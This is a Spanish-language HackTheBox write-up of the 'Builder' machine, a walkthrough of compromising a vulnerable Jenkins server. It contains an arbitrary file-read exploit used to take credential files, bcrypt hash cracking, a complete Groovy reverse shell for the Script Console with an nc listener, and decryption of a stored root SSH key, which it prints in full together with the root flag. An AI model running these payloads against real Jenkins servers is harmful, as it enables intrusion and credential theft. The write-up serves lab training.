Write Up Builder HackTheBox

Escaneo de puertos

nmap -p- --min-rate 5000 -sV <IP>

Puerto 8080

Si analizamos las credenciales desde la pagina vemos que hay 2 usuarios anonymous y jennifer, pero nos interesa el usuario jennifer...

Dentro de este puerto encontraremos una pagina Jenkins la cual tiene una version vulnerable por un exploit, cogemos ese exploit en la siguiente URL...

URL: https://www.exploit-db.com/exploits/51993

Nos lo descargamos y si ponemos lo siguiente con este exploit...

python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/secrets/master.key

Info:

3e3a8909d274de18b90e8d41789423c041dae2b1132514ac43b9714d62305dfba277b5bcec3a06339d9f111e902b64d063bf2eb322eb641edb846e6c019c95cbc38b849fcc2085d5f220c5b6e5468f97d0397502c6afc5a9a1375d346cd0adf08ebc377f48124b9422e91beb5596cdecd72886d7c7e3816a8c488e0270394347

Este hash lo veremos mas adelante...

Mientras tanto vamos a lo importante haciendo lo siguiente...

python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/users/users.xml

Info:

<?xml version='1.1' encoding='UTF-8'?>
      <string>jennifer_12108429903186576833</string>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>jennifer</string>
  <version>1</version>
</hudson.model.UserIdMapper>
  </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
    </entry>

Viendo que la home de jennifer es jennifer_12108429903186576833 hacemos lo siguiente...

python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

Info:

<hudson.tasks.Mailer_-UserProperty plugin="[e-mail]8358e006b_">
    <hudson.search.UserSearchProperty>
      <roles>
    <jenkins.security.seed.UserSeedProperty>
      </tokenStore>
    </hudson.search.UserSearchProperty>
      <timeZoneName></timeZoneName>
  <properties>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <flags/>
    <hudson.model.MyViewsProperty>
</user>
    </jenkins.security.ApiTokenProperty>
      <views>
        <string>authenticated</string>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="[e-mail]_9327d658781">
<user>
          <name>all</name>
  <description></description>
      <emailAddress>[e-mail]</emailAddress>
      <collapsed/>
    </jenkins.security.seed.UserSeedProperty>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    </hudson.model.MyViewsProperty>
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
          <filterQueue>false</filterQueue>
    <jenkins.security.ApiTokenProperty>
      <primaryViewName></primaryViewName>
      </views>
    </hudson.model.TimeZoneProperty>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
    </hudson.model.PaneStatusProperties>
    </hudson.tasks.Mailer_-UserProperty>
        <tokenList/>
    <jenkins.console.ConsoleUrlProviderUserProperty/>
        </hudson.model.AllView>
      <timestamp>1707318554385</timestamp>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
  </properties>
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <insensitiveSearch>true</insensitiveSearch>
          <properties class="hudson.model.View$PropertyList"/>
    <hudson.model.TimeZoneProperty>
        <hudson.model.AllView>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
      <providerId>default</providerId>
      </roles>
    </jenkins.security.LastGrantedAuthoritiesProperty>
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    <hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
  <fullName>jennifer</fullName>
      <seed>6841d11dc1de101d</seed>
  <id>jennifer</id>
  <version>10</version>
      <tokenStore>
          <filterExecutors>false</filterExecutors>
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="[e-mail]1ff18d67920"/>
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

Por lo que se ve el usuario es jennifer y la password es un hash, para crackear ese hash hacemos lo siguiente...

john --wordlist=<WORDLIST> <HASH_FILE>

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)     
1g 0:00:00:00 DONE (2024-05-14 13:14) 4.545g/s 163.6p/s 163.6c/s 163.6C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

User = jennifer

Pass = princess

Con estas credenciales nos conectamos a la pagina de jenkins y dentro de la sesion con jennifer hacemos lo siguiente...

Nos vamos a manage de ahi le damos a script console y dentro de esa especie de texto plano introducimos una Reverse Shell de la siguiente manera...

String host='<IP>';

int port=<PORT>;

String cmd='bash';

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

nc -lvnp <PORT>

Y seriamos el usuario Jenkins, sanitizamos la shell...

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Tendriamos la shell perfecta ya, pero por lo que vemos estamos en un doker por lo que vemos aqui...

jenkins@0f52c222a4cc:/$

==> 0f52c222a4cc

Si vamos al siguiente archivo llamado credentials.xml y lo leemos...

<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1319.v7eb_51b_3a_c97b_">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey plugin="[e-mail]4497b_ccd8f4">
          <scope>GLOBAL</scope>
          <id>1</id>
          <description></description>
          <username>root</username>
          <usernameSecret>false</usernameSecret>
          <privateKeySource class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource">
            <privateKey>{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}</privateKey>
          </privateKeySource>
        </com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>

Y esa key de root si hacemos lo siguiente para desencriptar esa key tendriamos que ir a la pagina de Jenkins, dirigirnos a la seccion de /Manage Jenkins/Script Console y dentro de este panel debemos de escribir lo siguiente...

println( hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAWbPlduIXaAfDs77evLh98/INI8o/A+rlX6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWWttJl1q9soOzFV0C4mhQiGIYr8TPDbpdRfsgjGNKTzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWYOoUSqD+C9iXGxTgxSLWdIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgjgEVeD4stcmtUOFqXU/gezb/oh0Rko9tumajwLpQrLxbAycC6xgOuk/leKf1gkDOEmraO7uiy2QBIihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5UfNHxQckFVWJQA0zfGvkRpyew2K6OSoLjpnSrwUWCx/hMGtvvoHApudWsGz4esi3kfkJ+I/j4MbLCakYjfDRLVtrHXgzWkZG/Ao+7qFdcQbimVgROrncCwy1dwU5wtUEeyTlFRbjxXtIwrYIx94+0thX8n74WI1HO/3rix6a4FcUROyjRE9m//dGnigKtdFdIjqkGkK0PNCFpcgw9KcafUyLe4lXksAjf/MU4v1yqbhX0Fl4Q3u2IWTKl+xv2FUUmXxOEzAQ2KtXvcyQLA9BXmqC0VWKNpqw1GAfQWKPen8g/zYT7TFA9kpYlAzjsf6Lrk4Cflaa9xR7l4pSgvBJYOeuQ8x2Xfh+AitJ6AMO7K8o36iwQVZ8+p/I7IGPDQHHMZvobRBZ92QGPcq0BDqUpPQqmRMZc3wN63vCMxzABeqqg9QO2J6jqlKUgpuzHD27L9REOfYbsi/uM3ELI7NdO90DmrBNp2y0AmOBxOc9e9OrOoc+Tx2K0JlEPIJSCBBOm0kMr5H4EXQsu9CvTSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7wZrQl4OWuxagsG10YbxHzjqgoKTaOVSv0mtiiltO/NSOrucozJFUCp7p8v73ywR6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9mA+778Wgc7EYpwJQlmKnrk0bfO8rEdhrrJoJ7a4No2FDridFt68HNqAATBnoZrlCzELhvCicvLgNur+ZhjEqDnsIW94bL5hRWANdV4YzBtFxCW29LJ6/LtTSw9LE2to3i1sexiLP8y9FxamoWPWRDxgn9lv9ktcoMhmA72icQAFfWNSpieB8Y7TQOYBhcxpS2M3mRJtzUbe4Wx+MjrJLbZSsf/Z1bxETbd4dh4ub7QWNcVxLZWPvTGix+JClnn/oiMeFHOFazmYLjJG6pTUstU6PJXu3t4Yktg8Z6tk8ev9QVoPNq/XmZY2h5MgCoc/T0D6iRR2X249+9lTU5Ppm8BvnNHAQ31Pzx178G3IO+ziC2DfTcT++SAUS/VR9T3TnBeMQFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZGSnjUmDpMAs6wg0Z3bYcxzrTcj9pnR3jcywwPCGkjpS03ZmEDtuU0XUthrs7EZzqCxELqf9aQWbpUswN8nVLPzqAGbBMQQJHPmS4FSjHXvgFHNtWjeg0yRgf7cVaD0aQXDzTZeWm3dcLomYJe2xfrKNLkbA/t3le35+bHOSe/p7PrbvOv/jlxBenvQY+2GGoCHs7SWOoaYjGNd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrziMF2bhpR1vcOSiDq0+Bpk7yb8AIikCDOW5XlXqnX7C+I6mNOnyGtuanEhiJSFVqQ3R+MrGbMwRzzQmtfQ5G34m67Gvzl1IQMHyQvwFeFtx4GHRlmlQGBXEGLz6H1Vi5jPuM2AVNMCNCak45l/9PltdJrz+Uq/d+LXcnYfKagEN39ekTPpkQrCV+P0S65y4l1VFE1mX45CR4QvxalZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/ubVJzBKLEHSOoKwiyNHEwdkD9j8Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeNOSeQut3iZjmpy0Ko1ZiC8gFsVJg8nWLCat10cp+xTy+fJ1VyIMHxUWrZu+duVApFYpl6ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRGOUuLH4QflOqzC6ref7n33gsz18XASxjBg6eUIw9Z9s5lZyDH1SZO4jI25B+GgZjbe7UYoAX13MnVMstYKOxKnaig2Rnbl9NsGgnVuTDlAgSO2pclPnxj1gCBS+bsxewgm6cNR18/ZT4ZT+YT1+uk5Q3O4tBF6z/M67mRdQqQqWRfgA5x0AEJvAEb2dftvR98ho8cRMVw/0S3T60reiB/OoYrt/IhWOcvIoo4M92eo5CduZnajt4onOCTC13kMqTwdqC36cDxuX5aDD0Ee92ODaaLxTfZ1Id4ukCrscaoOZtCMxncK9uv06kWpYZPMUasVQLEdDW+DixC2EnXT56IELG5xj3/1nqnieMhavTt5yipvfNJfbFMqjHjHBlDY/MCkU89l6p/xk6JMH+9SWaFlTkjwshZDA/oO/E9Pump5GkqMIw3V/7O1fRO/dR/Rq3RdCtmdb3bWQKIxdYSBlXgBLnVC7O90Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidhEdKiZYIFfOhe9+u3O0XPZldMzaSLjj8ZZy5hGCPaRS613b7MZ8JjqaFGWZUzurecXUiXiUg0M9/1WyECyRq6FcfZtza+q5t94IPnyPTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOcxqmlJQ2SgsgTStzFZz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafeU5hqZM1vTxRLU1G7Rr/yxmmA5mAHGeIXHTWRHYSWn9gonoSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLeQ0tEiwOu4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENnvcq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdxD9JIL6FFpaodsmlksTPz366bcOcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jkOhGTjc7pGAg2zl10O84PzXW1TkN2yD9YHgo9xYa8E2k6pYSpVxxYlRogfz9exupYVievBPkQnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtWCbgrKChsFys4oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB1OTIcTxtaaMR8IMMaKSM=}") )

Y esto nos da lo siguiente...

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Esto es una id_rsa privada de root, por lo que haremos lo siguiente...

chmod 600 id_rsa

ssh -i id_rsa root@<IP>

Por lo que ya seriamos root y leemos la flag...

root.txt (flag2)

6c6e52c46533b78e2c5d4d8d08473994